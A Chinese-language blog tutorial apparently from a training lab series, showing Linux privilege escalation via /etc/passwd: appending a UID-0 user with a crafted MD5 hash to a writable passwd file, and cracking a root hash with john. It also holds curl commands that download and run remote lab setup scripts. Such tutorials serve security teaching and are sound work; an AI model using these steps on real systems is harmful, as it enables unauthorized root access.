2024全网最全面及最新且最为详细的网络安全技巧 (3-2) 之 linux提权各类技巧 上集

举报
肾透侧视攻城狮 发表于 2024/11/03 13:21:25 2024/11/03
【摘要】 2024全网最全面及最新且最为详细的网络安全技巧 (3-2) 之 linux提权各类技巧 上集之 passwd 文件提权

欢迎各位彦祖与热巴畅游本人专栏与博客
你的三连是我最大的动力
以下图片仅代表专栏特色 [点击箭头指向的专栏名即可闪现]


专栏跑道一

➡️网络空间安全——全栈前沿技术持续深入学习 

专栏跑道二

➡️ 24 Network Security -LJS

专栏跑道三

 ➡️ MYSQL REDIS Advance operation


专栏跑道四

➡️HCIP;H3C-SE;CCIP——LJS[华为、华三、思科高级网络]


专栏跑道五


➡️RHCE-LJS[Linux高端骚操作实战篇]​

专栏跑道六


➡️数据结构与算法[考研+实际工作应用+C程序设计]

专栏跑道七

➡️RHCSA-LJS[Linux初级及进阶骚技能]

上节回顾

3.3 Linux 提权之 passwd 文件提权

实验介绍


/etc/passwd  /etc/shadow 文件是 Linux 系统登录认证的关键文件

如果系统运维人员对 passwd  shadow 文件的内容或权限配置有误,则可以被利用来进行系统提权



理解 /etc/passwd 文件含义


  • Linux 密码信息保存在两个文件中,分别为:/etc/passwd 和 /etc/shadow;/etc/passwd 文件用于保存用户信息,每一行代表一个用户,每一行通过冒号 : 分为七个部分:
  1. 用户名
  2. 密码,若为 x 则表示密码保存在/etc/shadow
  3. UID,0 代表 root
  4. GID,表示所在组

  5. 描述信息,依次为 Full Name、Room Number、Work Phone、Home Phone 和 Other
  6. 用户主目录
  7. 默认 shell 类型

例如,假设 /etc/passwd 文件中其中一行信息如下:

  • 其含义解读如下:

  • 用户名:test-user

  • 密码保存在 /etc/shadow 中

  • UID 为 1001

  • GID 为 1001

  • 描述信息: Full Name [test]: Room Number [11111]: Work Phone [111111-11]: Home Phone [222222-22]: Other [test]

  • 用户主目录为 /home/test-user

  • 默认 shell 为 /bin/bash

简单来说,当你登录 Linux 系统时会有以下几个步骤:

  1. 检测「输入的用户名」是否与 /etc/passwd 文件中某一行第一个字段匹配。
  2. 若匹配成功,再对比该行第二个字段的密码,如果均匹配成功即登录成功。
  3. 登录成功之后所具有的权限,通过第三个字段 UID 和第四个字段 GID 确定。
  4. 其中 UID=0 代表 root 用户,也就是说——无论第一个字段代表的用户名是什么,只要 UID=0,则该账户就拥有 root 权限。——这点在提权中非常重要。


  • 由此可见,/etc/passwd 文件在 linux 登录认证过程中起到非常关键的作用。
  • 试想,如果我们能够对 /etc/passwd 文件内容进行伪造、篡改,那就能很轻易的登录成功并获取任意用户权限。
  • 不过一般情况下,只有 root 用户拥有对 /etc/passwd 文件的写入权限,其他用户均只有读取权限。但有时候由于系统管理员的错误配置,也会给我们带来可乘之机。


  • 通过 /etc/passwd 文件提权

  • 通常来说,通过 /etc/passwd 提权的方法有两种:

  1. 如果具有 /etc/passwd 的 w (写入) 权限,可以直接添加一个 root 权限的用户

  2. 如果 /etc/passwd 中存储 root 用户密码哈希,可以使用 john 进行破解


场景一:/etc/passwd 具有写权限

  • 简单介绍:/etc/passwd 权限配置错误,造成普通用户具有写权限。


  • 初始化实验环境

打开终端并执行如下命令:

curl https://labfile.oss.aliyuncs.com/courses/2650/init3.sh > ~/init3.sh;chmod +x ~/init3.sh;./init3.sh

  • 输出如上图所示,说明环境部署成功。

  • 此时我们已经切换到 tomcat-syl 用户——模拟渗透测试前期获取到的初始 shell。


开始实验

  • 使用 whomai 查看当前用户:

  • 使用 id 查看 用户组 id 信息:
  •  
  •  

    通过上图中的信息可以看到,当前用户组为普通用户组 tomcat-syl,也没有明显可进一步利用的信息。

  • 接下来使用如下命令查看 /etc/passwd  /etc/shadow 文件的权限:

    ls -alh /etc/passwd /etc/shadow


  • 结果如上图所示,可以发现由于运维人员的错误配置,导致「其他用户」对 /etc/passwd 文件具有“ 写 ”权限

  • 于是接下来的利用思路就是:

    • “自己构造一行用户数据添加到 passwd 文件中,用户名和密码自定义,并且将 UID 设置为 0,此时我们登陆就可以获取 root 权限。”

    • 使用如下命令查看 passwd 文件中 root 用户数据的格式,以此为参考来构造我们的用户数据:

      cat /etc/passwd|grep root
    • 得到的结果是:
      root:x:0:0:root:/root:/bin/bash


第一步-先设置用户名

将用户名从 root 修改为其他任意用户名即可,例如 syl-passwd:

syl-passwd:x:0:0:root:/root:/bin/bash


第二步-设置密码

  • 之前讲到过,第二个字段 x 表示该用户密码存放在 /etc/shadow 文件中,如果密码不用存在 /etc/shadow 中,可以直接将 x 替换为 「密码」 即可。

  • 但需要注意的是,这里的「密码」 并不是指明文密码,而是经过 hash 算法加密之后的密文字符串

  • 那如何计算 hash 字符串呢?我们可以使用 openssl套件。

  • 使用 openssl创建一个密码为 pass123 的 linux hash,命令如下:

    openssl passwd -1 -salt ignite pass123


  • 参数解释:
  • -1 :使用 MD5 hash 算法

  • -salt :对 hash 算法加 "盐"

  • 计算得到的 hash 为$1$ignite$3eTbJm98O9Hz.k1NTdNxe1,用它来替换 x,最终我们构造出的 passwd 用户数据如下:
    syl-passwd:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash
  • 接下来将它添加到 passwd 文件中:
    echo 'syl-passwd:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> /etc/passwd


  • 注意:
  • 必须使用单引号,不能使用双引号

  • 使用 >> ,而不是 >

  • 使用如下命令确认我们添加成功:

    cat /etc/passwd|grep syl-passwd

确认添加成功后,接下来我们使用 su syl-passwd 切换到 syl-passwd 用户,密码为 pass123:

curl https://labfile.oss.aliyuncs.com/courses/2650/init3-2.sh > ~/init3-2.sh;chmod +x ~/init3-2.sh;~/init3-2.sh


场景二:/etc/passwd 存储用户密码 hash

  • 简单介绍:/etc/passwd 中存储密码 hash,而不是存储在 /etc/shadow 中。

初始化实验环境

执行如下命令下载附件并初始化实验环境:

  • 输出如上图所示,说明环境部署成功。

开始实验

和之前一样,使用如下命令查看 /etc/passwd 和 /etc/shadow 文件的权限:

ls -alh /etc/passwd /etc/shadow

  • 但是发现权限配置都是正确的,普通用户只具有 /etc/passwd 文件的权限。

  • 接下来查看 /etc/passwd 文件的内容:

    cat /etc/passwd

发现存在这样一行内容:

root:$1$ignite$J98A8EVPG1O40.WnwrPEM1:0:0:root:/root:/bin/bash


  • 这种情况一般是由于该主机曾经被入侵过,或者运维人员的错误配置造成的,这样我们就获得了 root 用户的密码 hash,但是如何利用呢?
  • 这就要使用到 hash 破解神器——john,该工具在 Kali 上是默认安装的,但在 ubuntu 上需要自己安装。

打开一个新终端,输入如下命令进行安装:

sudo apt install john

  • john 会调用指定字典对 hash 字符串进行破解,破解时间取决于字典大小和计算机性能。

  • john 支持使用内置字典,也可以指定自定义字典,本课程中我们使用 john 自带字典完成破解。

  • 先将之前获取到的 root 用户 hash 写入文件 hash.txt 中:

    # 此处必须单引号
    echo 'root:$1$ignite$J98A8EVPG1O40.WnwrPEM1:0:0:root:/root:/bin/bash' > ~/hash.txt
  • john ~/hash.txt

  • 如上图所示,john 成功破解出密码为 hello。(由于此实验中密码比较简单,故 john 破解速度非常快,实际环境中由于密码复杂度可能更高,破解时间会更长。)
  • 我们再回到 tomcat-syl 用户 shell 中,使用 su 命令切换到 root 用户(输入密码时,不会有显示):
  • 至此,我们成功提权到 root 用户。

注意:

john 工具对于同一个破解文件中的同一条 hash 记录只会爆破一次,如果第二次执行 john  ~/hash.txt 是不会得到结果的,只会得到如下输出:

如果想查看上一次爆破的结果,需要使用 --show 参数:


实验总结

本节实验中,我们学习了 Linux 系统登录认证的过程,/etc/passwd 文件的意义,并通过做实验的方式对 Linux 系统 passwd 文件提权方法有了深入的理解。

课后思考题

将构造的数据添加到 passwd 中时使用的命令如下:

echo 'syl-passwd:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> /etc/passwd
  • 为什么必须使用单引号,不能使用双引号,使用双引号时会造成什么错误呢?

答案3.2 Linux 提权之 CronJobs 提权之课后思考题

echo 'syl-passwd:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> /etc/passwd 
 
该命令​为什么必须使用单引号,不能使用双引号,使用双引号时会造成什么错误呢?
  • 在这个命令中,使用单引号而不是双引号是为了确保 shell 不会解释或扩展引号内的任何特殊字符或变量。如果使用双引号,shell 会尝试对字符串进行变量扩展和特殊字符解释,这可能会导致一些问题,特别是在字符串中包含特殊字符或变量时。
  • 具体来说,如果在双引号中使用 `$` 符号,shell 会尝试将其后面的字符解释为变量名,并尝试进行变量扩展。如果字符串中存在与现有变量名相匹配的内容,那么 shell 将会替换这些内容为对应的变量值,而不是将其作为纯字符串处理。
  • 在这种情况下,由于字符串中包含 `$` 符号,且后面跟着数字,shell 可能会将其解释为一个变量名,尝试进行变量扩展,导致意外的行为或错误。因此,为了避免这种情况,使用单引号可以确保字符串中的内容被视为纯文本,而不进行任何解释或扩展。
【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。